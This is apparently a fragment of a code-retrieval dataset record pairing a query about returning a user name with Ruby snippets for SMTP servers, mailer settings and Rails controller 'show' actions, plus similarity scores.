"def initialize(port = DEFAULT_SMTPD_PORT, host = DEFAULT_SMTPD_HOST, max_connections = DEFAULT_SMTPD_MAX_CONNECTIONS, opts = {})\n # logging\n if opts.include?(:logger)\n @logger = opts[:logger]\n else\n require 'logger'\n @logger = Logger.new(STDOUT)\n @logger.datetime_format = '%Y-%m-%d %H:%M:%S'\n @logger.formatter = proc { |severity, datetime, _progname, msg| \"#{datetime}: [#{severity}] #{msg.chomp}\\n\" }\n end\n # initialize class\n @tcpServerThread = nil\n @port = port\n @host = host\n @maxConnections = max_connections\n @connections = []\n @connectionsMutex = Mutex.new\n @connectionsCV = ConditionVariable.new\n\n # check for valid cert/key paths and set vars\n @tls_cert = opts[:cert] if opts.include?(:cert) && File.exist?(opts[:cert])\n @tls_key = opts[:key] if opts.include?(:key) && File.exist?(opts[:key])\n\n unless @tls_cert.nil? || @tls_cert.empty? ||\n @tls_key.nil? || @tls_key.empty?\n @tls = MidiSmtpTls.new(@tls_cert, @tls_key)\n end\n\n # next should prevent (if wished) to auto resolve hostnames and create a delay on connection\n BasicSocket.do_not_reverse_lookup = true\n # save flag if this smtp server should do reverse lookups\n @do_dns_reverse_lookup = opts.include?(:do_dns_reverse_lookup) ? opts[:do_dns_reverse_lookup] : true\n # check for authentification\n @auth_mode = opts.include?(:auth_mode) ? opts[:auth_mode] : :AUTH_FORBIDDEN\n raise \"Unknown authentification mode #{@auth_mode} was given by opts!\" unless AUTH_MODES.include?(@auth_mode)\n end",
"def ensure_default_action_mailer_url_host(store_url = nil)\n ActionMailer::Base.default_url_options ||= {}\n ActionMailer::Base.default_url_options[:host] ||= store_url || current_store.url\n end",
"def server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def setup(settings = {})\n @config = defaults.merge(settings)\n end",
"def initialize(\n ports: DEFAULT_SMTPD_PORT,\n hosts: DEFAULT_SMTPD_HOST,\n max_processings: DEFAULT_SMTPD_MAX_PROCESSINGS,\n max_connections: nil,\n crlf_mode: nil,\n do_dns_reverse_lookup: nil,\n io_cmd_timeout: nil,\n io_buffer_chunk_size: nil,\n io_buffer_max_size: nil,\n pipelining_extension: nil,\n internationalization_extensions: nil,\n auth_mode: nil,\n tls_mode: nil,\n tls_cert_path: nil,\n tls_key_path: nil,\n tls_ciphers: nil,\n tls_methods: nil,\n tls_cert_cn: nil,\n tls_cert_san: nil,\n logger: nil,\n logger_severity: nil\n )\n # create an exposed logger to forward loggings to the on_logging_event\n @logger = MidiSmtpServer::ForwardingLogger.new(method(:on_logging_event))\n\n # external logging\n if logger.nil?\n @logger_protected = Logger.new($stdout)\n @logger_protected.datetime_format = '%Y-%m-%d %H:%M:%S'\n @logger_protected.formatter = proc { |severity, datetime, _progname, msg| \"#{datetime}: [#{severity}] #{msg.chomp}\\n\" }\n @logger_protected.level = logger_severity.nil? ? Logger::DEBUG : logger_severity\n else\n @logger_protected = logger\n @logger_protected.level = logger_severity unless logger_severity.nil?\n logger.warn('Deprecated: \"logger\" was set on new! Please use \"on_logging_event\" instead.')\n end\n\n # list of TCPServers\n @tcp_servers = []\n # list of running threads\n @tcp_server_threads = []\n\n # lists for connections and thread management\n @connections = []\n @processings = []\n @connections_mutex = Mutex.new\n @connections_cv = ConditionVariable.new\n\n # settings\n\n # build array of ports\n # split string into array to instantiate multiple servers\n @ports = ports.to_s.delete(' ').split(',')\n # check for at least one port specification\n raise 'Missing port(s) to bind service(s) to!' if @ports.empty?\n # check that not also a '' empty item for port is added to the list\n raise 'Do not use empty value \"\" for port(s). Please use specific port(s)!' if @ports.include?('')\n\n # build array of hosts\n # split string into array to instantiate multiple servers\n @hosts = hosts.to_s.delete(' ').split(',')\n #\n # Check source of TCPServer.c at https://github.com/ruby/ruby/blob/trunk/ext/socket/tcpserver.c#L25-L31\n # * Internally, TCPServer.new calls getaddrinfo() function to obtain ip_addresses.\n # * If getaddrinfo() returns multiple ip_addresses,\n # * TCPServer.new TRIES to create a server socket for EACH address and RETURNS FIRST one that is SUCCESSFUL.\n #\n # So for that it was a small portion of luck which address had been used then.\n # We won't support that magic anymore. If wish to bind on all local ip_addresses\n # and interfaces, use new \"*\" wildcard, otherwise specify ip_addresses and / or hostnames\n #\n # raise exception when found empty or inner empty hosts specification like \"\" or \"a.b.c.d,,e.f.g.h\", guess miss-coding\n raise 'No hosts defined! Please use specific hostnames and / or ip_addresses or \"*\" for wildcard!' if @hosts.empty?\n raise 'Detected an empty identifier in given hosts! Please use specific hostnames and / or ip_addresses or \"*\" for wildcard!' if @hosts.include?('')\n\n # build array of addresses for ip_addresses and ports to use\n @addresses = []\n @hosts.each_with_index do |host, index|\n # resolv ip_addresses for host if not wildcard / all hosts\n # if host is \"*\" wildcard (all) interfaces are used\n # otherwise it will be bind to the found host ip_addresses\n if host == '*'\n ip_addresses_for_host = []\n Socket.ip_address_list.each do |a|\n # test for all local valid ipv4 and ipv6 ip_addresses\n # check question on stackoverflow for details\n # https://stackoverflow.com/questions/59770803/identify-all-relevant-ip-addresses-from-ruby-socket-ip-address-list\n ip_addresses_for_host << a.ip_address if \\\n (a.ipv4? &&\n (a.ipv4_loopback? || a.ipv4_private? ||\n !(a.ipv4_loopback? || a.ipv4_private? || a.ipv4_multicast?)\n )\n ) ||\n (a.ipv6? &&\n (a.ipv6_loopback? || a.ipv6_unique_local? ||\n !(a.ipv6_loopback? || a.ipv6_unique_local? || a.ipv6_linklocal? || a.ipv6_multicast? || a.ipv6_sitelocal? ||\n a.ipv6_mc_global? || a.ipv6_mc_linklocal? || a.ipv6_mc_nodelocal? || a.ipv6_mc_orglocal? || a.ipv6_mc_sitelocal? ||\n a.ipv6_v4compat? || a.ipv6_v4mapped? || a.ipv6_unspecified?)\n )\n )\n end\n else\n ip_addresses_for_host = Resolv.new.getaddresses(host).uniq\n end\n # get ports for that host entry\n # if ports at index are not specified, use last item\n # of ports array. if multiple ports specified by\n # item like 2525:3535:4545, then all ports will be instantiated\n ports_for_host = (index < @ports.length ? @ports[index] : @ports.last).to_s.split(':')\n # append combination of ip_address and ports to the list of serving addresses\n ip_addresses_for_host.each do |ip_address|\n ports_for_host.each do |port|\n @addresses << \"#{ip_address}:#{port}\"\n end\n end\n end\n\n # read max_processings\n @max_processings = max_processings\n raise 'Number of simultaneous processings (max_processings) must be a positive integer!' unless @max_processings.is_a?(Integer) && @max_processings.positive?\n # check max_connections\n @max_connections = max_connections\n raise 'Number of concurrent connections is lower than number of simultaneous processings!' if @max_connections && @max_connections < @max_processings\n\n # check for crlf mode\n @crlf_mode = crlf_mode.nil? ? DEFAULT_CRLF_MODE : crlf_mode\n raise \"Unknown CRLF mode #{@crlf_mode} was given!\" unless CRLF_MODES.include?(@crlf_mode)\n\n # always prevent auto resolving hostnames to prevent a delay on socket connect\n BasicSocket.do_not_reverse_lookup = true\n # do reverse lookups manually if enabled by io.addr and io.peeraddr\n @do_dns_reverse_lookup = do_dns_reverse_lookup.nil? ? true : do_dns_reverse_lookup\n\n # io and buffer settings\n @io_cmd_timeout = io_cmd_timeout.nil? ? DEFAULT_IO_CMD_TIMEOUT : io_cmd_timeout\n @io_buffer_chunk_size = io_buffer_chunk_size.nil? ? DEFAULT_IO_BUFFER_CHUNK_SIZE : io_buffer_chunk_size\n @io_buffer_max_size = io_buffer_max_size.nil? ? DEFAULT_IO_BUFFER_MAX_SIZE : io_buffer_max_size\n\n # smtp extensions\n @pipelining_extension = pipelining_extension.nil? ? DEFAULT_PIPELINING_EXTENSION_ENABLED : pipelining_extension\n @internationalization_extensions = internationalization_extensions.nil? ? DEFAULT_INTERNATIONALIZATION_EXTENSIONS_ENABLED : internationalization_extensions\n\n # check for authentification\n @auth_mode = auth_mode.nil? ? DEFAULT_AUTH_MODE : auth_mode\n raise \"Unknown authentification mode #{@auth_mode} was given!\" unless AUTH_MODES.include?(@auth_mode)\n\n # check for encryption\n @encrypt_mode = tls_mode.nil? ? DEFAULT_ENCRYPT_MODE : tls_mode\n raise \"Unknown encryption mode #{@encrypt_mode} was given!\" unless ENCRYPT_MODES.include?(@encrypt_mode)\n # SSL transport layer for STARTTLS\n if @encrypt_mode == :TLS_FORBIDDEN\n @tls = nil\n else\n # try to load openssl gem now\n begin\n require 'openssl'\n rescue LoadError\n end\n # check for openssl gem when enabling TLS / SSL\n raise 'The openssl library gem is not installed!' unless defined?(OpenSSL)\n # check for given CN and SAN\n if tls_cert_cn.nil?\n # build generic set of \"valid\" self signed certificate CN and SAN\n # using all given hosts and detected ip_addresses but not \"*\" wildcard\n tls_cert_san = ([] + @hosts + @addresses.map { |address| address.rpartition(':').first }).uniq\n tls_cert_san.delete('*')\n # build generic CN based on first SAN\n if tls_cert_san.first.match?(/^(127\\.0?0?0\\.0?0?0\\.0?0?1|::1|localhost)$/i)\n # used generic localhost.local\n tls_cert_cn = 'localhost.local'\n else\n # use first element from detected hosts and ip_addresses\n # drop that element from SAN\n tls_cert_cn = tls_cert_san.first\n tls_cert_san.slice!(0)\n end\n else\n tls_cert_cn = tls_cert_cn.to_s.strip\n tls_cert_san = tls_cert_san.to_s.delete(' ').split(',')\n end\n # create ssl transport service\n @tls = TlsTransport.new(tls_cert_path, tls_key_path, tls_ciphers, tls_methods, tls_cert_cn, tls_cert_san, @logger)\n end\n end",
"def custom_smtp\n @attributes[:custom_smtp]\n end",
"def settings\n @settings ||= EbanqApi::Settings.new(self)\n end",
"def settings\n base_configuration.settings + self.class.settings\n end",
"def configure(options = {})\n enabled = options.fetch(:enabled, nil)\n hostname = options.fetch(:hostname, nil)\n port = options.fetch(:port, nil)\n sampler = options.fetch(:sampler, nil)\n\n @enabled = enabled unless enabled.nil?\n @writer.transport.hostname = hostname unless hostname.nil?\n @writer.transport.port = port unless port.nil?\n @sampler = sampler unless sampler.nil?\n end",
"def notification_settings=(settings)\n if settings.present? # actualy some values were passed, so clean them and set them\n settings = settings.symbolize_keys\n settings.keys.each do |key|\n settings[key].map! &:to_i\n end\n\n self[:notification_settings] = settings\n else # nil was passed, so no values were set => clean settings\n self[:notification_settings] = {}\n end\n end",
"def settings\n @settings_manager\n end",
"def mailer\n ExamplerailsMailer.mailer\n end",
"def set_settings(settings, opts = {})\n data, _status_code, _headers = set_settings_with_http_info(settings, opts)\n data\n end",
"def setup_recipients( email )\r\n if RAILS_ENV == 'production'\r\n return email\r\n else\r\n return AppConfig.DEBUG_EMAIL_ADDRESS\r\n end\r\n end",
"def init_mail(params)\n username = params['username']\n password = params['password']\n domain = params['domain']\n host = params['host']\n port = params['port']\n\n puts \"Preparing mail configuration\"\n mail_conf = {:address => host,\n :port => port,\n :domain => domain, #custom domain\n :user_name => username,\n :password => password,\n :authentication => 'plain',\n :enable_starttls_auto => true} #gmail require this option\n Mail.defaults do\n delivery_method :smtp, mail_conf\n end\n puts \"Mail service configured\"\nend",
"def configure\n super()\n syncer_klass.configure(settings) if syncer_klass\n end",
"def initialize(settings, mailer)\n self.settings = settings\n self.mailer = mailer\n self.apps = []\n end",
"def initialize(settings, mailer)\n self.settings = settings\n self.mailer = mailer\n self.apps = []\n end",
"def with_proxy(host, port, username, password)\n @proxy = SmartyStreets::Proxy.new(host, port, username, password)\n self\n end",
"def initialize(options = {})\n @settings = {\n aws_access_key_id: T::Mailer.configuration.aws_access_key_id,\n aws_default_region: T::Mailer.configuration.aws_default_region,\n aws_secret_access_key: T::Mailer.configuration.aws_secret_access_key,\n sparkpost_api_key: T::Mailer.configuration.sparkpost_api_key,\n }.merge!(options)\n end",
"def settings(options = {})\n ensure_config_loaded!\n setting_class.all_keys(options)\n end",
"def get_server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def delegate_meeting_message_delivery_options=(value)\n @delegate_meeting_message_delivery_options = value\n end",
"def get_imap_smtp_access(opts = {})\n data, _status_code, _headers = get_imap_smtp_access_with_http_info(opts)\n data\n end",
"def setup\n ActionMailer::Base.delivery_method = :test\n ActionMailer::Base.perform_deliveries = true\n ActionMailer::Base.deliveries = []\n end",
"def load_configuration(settings)\n configuration = settings.with_indifferent_access\n self.options = configuration[:options]\n end",
"def set_proxy(opts)\n opts = check_params(opts,[:proxy_info])\n super(opts)\n end",
"def prepare_client_settings!\n return {} unless options = settings(:client) and options = options.first\n\n if hosts = options[:hosts]\n host, port = hosts.shift\n hosts << [host, port]\n\n options.merge!( :host => host, :port => port )\n end\n\n options\n end",
"def delegate_meeting_message_delivery_options\n return @delegate_meeting_message_delivery_options\n end",
"def initialize(to, host = 'localhost', options = {})\n require 'net/smtp'\n @to = to\n @host = host\n\n @port = 25\n @options = options\n @host, @port = host.split(':') if @host.include?(':')\n @data = [] \n end"
] |
[
"0.7337555",
"0.70797634",
"0.6887633",
"0.68011665",
"0.647581",
"0.61760986",
"0.61746866",
"0.6158605",
"0.61229014",
"0.61000836",
"0.5971139",
"0.5930409",
"0.5810709",
"0.5719685",
"0.5672785",
"0.56592274",
"0.5651816",
"0.5587288",
"0.55766714",
"0.55448157",
"0.5508696",
"0.54978627",
"0.54972297",
"0.5474486",
"0.5362619",
"0.52332747",
"0.5232276",
"0.5227305",
"0.5198773",
"0.5196409",
"0.5191882",
"0.5095815",
"0.5055086",
"0.49611253",
"0.4939043",
"0.4914052",
"0.48831698",
"0.48649082",
"0.48643693",
"0.483426",
"0.48241737",
"0.48104516",
"0.48050088",
"0.4799292",
"0.47919",
"0.475609",
"0.47474352",
"0.47240433",
"0.47237313",
"0.47217742",
"0.4718042",
"0.47162944",
"0.4708842",
"0.4708706",
"0.47035405",
"0.47028732",
"0.46973914",
"0.46874207",
"0.4681947",
"0.46762204",
"0.4655975",
"0.4646765",
"0.46311677",
"0.4630324",
"0.4628291",
"0.4623436",
"0.4620297",
"0.46141142",
"0.46136245",
"0.4594733",
"0.45915803",
"0.45871168",
"0.45753327",
"0.4574462",
"0.45688242",
"0.45676714",
"0.45595452",
"0.4548124",
"0.4547048",
"0.4539231",
"0.45349213",
"0.45322248",
"0.4526293",
"0.45181498",
"0.45086747",
"0.45064968",
"0.44815025",
"0.44815025",
"0.4471261",
"0.44648063",
"0.44497502",
"0.4448294",
"0.44480708",
"0.44480535",
"0.44401187",
"0.44286653",
"0.44256154",
"0.44231823",
"0.44194403",
"0.4418459"
] |
0.7799035
|
0
|
Returns the configured user name or the user name of the authenticated user
|
def get_username
@user_name ||= self.user.username
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hubssolib_get_user_name\n user = self.hubssolib_current_user\n user ? user.user_real_name : nil\n end",
"def current_user_name\n logged_in? ? (user_name(current_user_id) || current_user_id) : nil\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n user ? user.name : ''\n end",
"def user_name\n read_attribute('user_name') || \"anonymous\"\n end",
"def user_name\n self.user ? self.user.name : 'Anonymous'\n end",
"def get_user_name_not_null\n user = User.first(:id => self.user_id )\n return user.login if user\n return \"anon\"\n end",
"def user_full_name\n user ? user.full_name : \"Anonymous\"\n end",
"def user_name\n @user_name ||= SlackUtils::SingletonClient.instance.find_user_name(@user_id)\n end",
"def user_username\n if self.user != nil\n self.user.username\n end\n end",
"def name\n @name || _('An unauthenticated user')\n end",
"def user_name\n name = user.nil? ? '' : user.name\n end",
"def user_name\n @options[:user_name] ||= @options[:repository].config['pivotal.full-name'] || @options[:repository].config['user.name']\n end",
"def get_current_user_name\n return @name if @name\n name = get_current_user_meta\n name = name['query']['userinfo']['name'] if name\n\n name\n end",
"def current_user\n # We just do a 'basename' on the principal to give back a sane value\n # here.\n user_name = Http::UrlUtil.split_path(current_principal)[1]\n\n user_name\n end",
"def user_name(user)\n current_user == user ? I18n.t('helpers.me') : user.name\n end",
"def user_name\n return User.find(user_id).name\n end",
"def user_name\n return User.find(user_id).name\n end",
"def user_full_name\n if user\n user.first_name + ' ' + user.last_name\n else\n 'Anonymous'\n end\n end",
"def user_display_name\n return @user_display_name\n end",
"def user_display_name\n return @user_display_name\n end",
"def user_display_name\n return @user_display_name\n end",
"def user_name\n self.user.login\n end",
"def user_name\n self.user.login\n end",
"def username_or_email\n user.try(:name) || email\n end",
"def get_user_name(user_id)\n User.find(user_id).name rescue nil\n end",
"def user_name(name = nil)\n return user_name_from_name(name) if name\n\n user_name_random\n end",
"def user_name\n name = self.le_user.nil? ? '' : self.le_user.name\n end",
"def user_name\n if self.user.blank?\n \"-\"\n else\n self.user.name\n end\n end",
"def name_or_username\n name || username\n end",
"def find_username\n @username || $config.fetch(:username) || prompt_username\n end",
"def current_user_name_or_id\n require 'etc' if !defined?(Etc)\n begin\n user = Etc.getpwuid(Process.uid)\n rescue ArgumentError\n user = nil\n end\n if user\n return user.name\n else\n return \"##{Process.uid}\"\n end\n end",
"def real_username\n defined?(USERS_MAP) ? USERS_MAP[@username] : @username\n end",
"def simple_username\n return user.firstname + ' ' + user.lastname.first + '.' if !user.nil?\n name\n end",
"def author_name\n user_data.name || login\n end",
"def user_name\n User.find(self.user_id).name\n end",
"def user_name\n decode_string_member(:user_name)\n end",
"def name\n \"#{self.class.name.titleize}: #{user.email rescue 'unknown user'}\"\n end",
"def user_name\n \"someone\"\n end",
"def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end",
"def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.present? ? name.squish : \"John Doe\"\n end",
"def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.empty? ? \"John Doe\" : name.squish\n end",
"def string_username\n CaseInsensitiveString.str(current_user.getUsername())\n end",
"def name\n\t\tn = names\n\t\treturn n[:fullname] if n[:fullname]\n\t\treturn n[:username] if n[:username]\n\t\treturn I18n.translate(\"user.name.unknown\")\n\tend",
"def name\n if facebook_authentication && facebook_authentication.display_name\n return facebook_authentication.display_name\n end\n return username\n end",
"def user_name\n\t\tobject.user.full_name \n\tend",
"def user\n return @user ? @user : Dotfu.config_user\n end",
"def owner_name\n return 'N/A' if anonymous? || user.nil?\n return user.name if user.name?\n user.email\n end",
"def username\n @config[\"username\"]\n end",
"def get_user_logged_in\n\t\tif current_user != nil\n\t\t\treturn 'Currently signed in as: ' + current_user.forename + ' ' + current_user.surname\n\t\telse\n\t\t\treturn 'You are not logged in!'\n\t\tend\n\tend",
"def to_s\n username || sanitized_email || 'Anonymous'\n end",
"def user\n @user ||= @repo.config.username\n end",
"def user(name = context&.user)\n named_user(name)&.user\n end",
"def display_name\n username\n end",
"def user_name\n self.user.name\n end",
"def username\n if @user.nil?\n @user = JavaSystem.getProperty(\"user.name\")\n end\n\n @user\n end",
"def name\n userName\n end",
"def username\n @username || email\n end",
"def user_name\n @message[:user][:name]\n end",
"def username\n username = user.username\n end",
"def full_name \n if current_user\n current_user.firstname + \" \" + current_user.lastname\n else\n \"Please Log in\"\n end\n end",
"def name_of(user)\n user.to_s\n end",
"def get_username(user_id)\n return User.find(user_id).username\n end",
"def username\n user.username\n end",
"def get_username()\n username_gitconfig = %x(git config user.name).strip\n username_passwd = Etc.getpwnam(Etc.getlogin).gecos.gsub(/ - SBP.*/,'')\n\n username = username_gitconfig unless username_gitconfig.nil?\n username = username_passwd if username.empty?\n username\n end",
"def user_name(user_id)\n user = User.where(id: user_id).name\n\n assert(user.kind_of?(User))\n\n return user\n end",
"def full_user_name\n formatedName=first_name[0].upcase+first_name[1,first_name.size].downcase+\" \"+last_name[0].upcase+last_name[1,last_name.size].downcase\n return formatedName.strip if (first_name || last_name)\n return \"Anonymous\"\n end",
"def user \n @user ||= @repo.config.username\n end",
"def get_user_name\n\t\tretVal = \"User Not Found\"\n\t\tuser_id = self.user_id\n\t\tuser = User.find(user_id, :select=>[\"fname\",\"lname\"])\n\t\tunless user.nil?\n\t\t\tretVal = user.fname + \" \" + user.lname\n\t\tend\n\t\treturn retVal\n\tend",
"def name_str\n self.anon ? \"Anonymous\" : self.user.name\n end",
"def login_user_name\n user_name.tr('.', '')\n end",
"def user\n return ENV['USER']\n end",
"def user_name\n @user_name ||= InchCI::ProjectUID.new(uid).user_name\n end",
"def get_user_name(user_id)\n if self.is_api then\n user = begin \n HuiMain.plugin_data.find_one(\"_id\" => BSON::ObjectId(user_id))\n rescue BSON::InvalidObjectId\n nil\n end\n if user then \n user[\"name\"]\n else\n nil\n end\n else # not api\n session[:current_user_name]\n end\n end",
"def user\n return Etc.getlogin\n end",
"def getUsername\n return @username\n end",
"def get_realname\n response = get_current_user_meta('realname')\n realname = response['query']['userinfo']['realname']\n return if realname == ''\n\n realname\n end",
"def name\n username || email\n end",
"def name\n username || email\n end",
"def get_user_name(role)\n get_user(role).full_name\n end",
"def short_user_name\n user.first_name\n end",
"def username\n user.username\n end",
"def display_name\n #self.email.split('@')[0]\n self.username\n end",
"def username\n self['default_rhlogin']\n end",
"def username\r\n return @user.username\r\n end",
"def show_current_user\n return \"\" unless logged_in?\n \"User: #{current_user.display_name} - (#{current_user.role.display_name})\"\n end",
"def get_display_name\n @display_name ||= self.user.display_name\n end",
"def username\n credentials.first\n end",
"def full_name\n (@session[:current_user_details] || {})[:description]\n end",
"def user_display_name\n @attributes[:user_display_name]\n end",
"def user_principal_name\n return @user_principal_name\n end",
"def user_principal_name\n return @user_principal_name\n end"
] |
[
"0.78359973",
"0.78038925",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7777572",
"0.7578591",
"0.75677633",
"0.7562504",
"0.75109655",
"0.75097305",
"0.7488156",
"0.7485541",
"0.74659586",
"0.7445601",
"0.74147123",
"0.7377318",
"0.73703974",
"0.73228824",
"0.73228824",
"0.7296853",
"0.72591734",
"0.72591734",
"0.72591734",
"0.7257946",
"0.7257946",
"0.7249826",
"0.7204177",
"0.71871763",
"0.7138583",
"0.7125097",
"0.71221507",
"0.7064062",
"0.70565706",
"0.7054593",
"0.7052845",
"0.70452803",
"0.7033396",
"0.6993638",
"0.69908905",
"0.69749564",
"0.6968503",
"0.69683063",
"0.6952712",
"0.6946257",
"0.6945928",
"0.6942047",
"0.693335",
"0.6928904",
"0.6924463",
"0.690871",
"0.688975",
"0.6886572",
"0.6882325",
"0.6879349",
"0.68533736",
"0.68527174",
"0.6852474",
"0.68431824",
"0.68416333",
"0.6836165",
"0.68319196",
"0.6829453",
"0.68116486",
"0.6805885",
"0.6799642",
"0.6790307",
"0.6788329",
"0.6786945",
"0.67838436",
"0.67784077",
"0.67771876",
"0.6776769",
"0.67643356",
"0.67633665",
"0.6760477",
"0.67562324",
"0.67539436",
"0.67526805",
"0.6747346",
"0.6747316",
"0.6742877",
"0.673675",
"0.673128",
"0.6731208",
"0.6727439",
"0.67206734",
"0.6717354",
"0.67146754",
"0.67124236",
"0.6709482",
"0.6706497",
"0.6701475",
"0.6701475"
] |
0.78224754
|
1
|
GET /post117s/1 GET /post117s/1.xml
|
def show
@post117 = Post117.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @post117 }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @post57 = Post57.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post57 }\n end\n end",
"def show\n @post181 = Post181.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post181 }\n end\n end",
"def show\n @post75 = Post75.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post75 }\n end\n end",
"def show\n @post257 = Post257.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post257 }\n end\n end",
"def show\n @post157 = Post157.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post157 }\n end\n end",
"def show\n @post125 = Post125.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post125 }\n end\n end",
"def show\n @post105 = Post105.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post105 }\n end\n end",
"def show\n @post101 = Post101.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post101 }\n end\n end",
"def show\n @post253 = Post253.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post253 }\n end\n end",
"def show\n @post74 = Post74.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post74 }\n end\n end",
"def show\n @post110 = Post110.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post110 }\n end\n end",
"def show\n @post77 = Post77.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post77 }\n end\n end",
"def show\n @post150 = Post150.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post150 }\n end\n end",
"def show\n @post78 = Post78.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post78 }\n end\n end",
"def show\n @post120 = Post120.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post120 }\n end\n end",
"def show\n @post227 = Post227.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post227 }\n end\n end",
"def show\n @post109 = Post109.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post109 }\n end\n end",
"def show\n @post149 = Post149.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post149 }\n end\n end",
"def show\n @post168 = Post168.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post168 }\n end\n end",
"def show\n @post55 = Post55.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post55 }\n end\n end",
"def show\n @post107 = Post107.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post107 }\n end\n end",
"def show\n @post231 = Post231.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post231 }\n end\n end",
"def show\n @post445 = Post445.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post445 }\n end\n end",
"def show\n @post246 = Post246.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post246 }\n end\n end",
"def show\n @post154 = Post154.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post154 }\n end\n end",
"def show\n @post182 = Post182.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post182 }\n end\n end",
"def show\n @post156 = Post156.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post156 }\n end\n end",
"def show\n @post221 = Post221.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post221 }\n end\n end",
"def show\n @post81 = Post81.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post81 }\n end\n end",
"def show\n @post251 = Post251.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post251 }\n end\n end",
"def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def show\n @post183 = Post183.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post183 }\n end\n end",
"def show\n @post129 = Post129.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post129 }\n end\n end",
"def show\n @post65 = Post65.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post65 }\n end\n end",
"def show\n @post193 = Post193.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post193 }\n end\n end",
"def show\n @post85 = Post85.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post85 }\n end\n end",
"def show\n @post295 = Post295.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post295 }\n end\n end",
"def show\n @post139 = Post139.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post139 }\n end\n end",
"def show\n @post130 = Post130.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post130 }\n end\n end",
"def show\n @post99 = Post99.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post99 }\n end\n end",
"def show\n @post267 = Post267.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post267 }\n end\n end",
"def show\n @post174 = Post174.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post174 }\n end\n end",
"def show\n @post275 = Post275.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post275 }\n end\n end",
"def show\n @post134 = Post134.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post134 }\n end\n end",
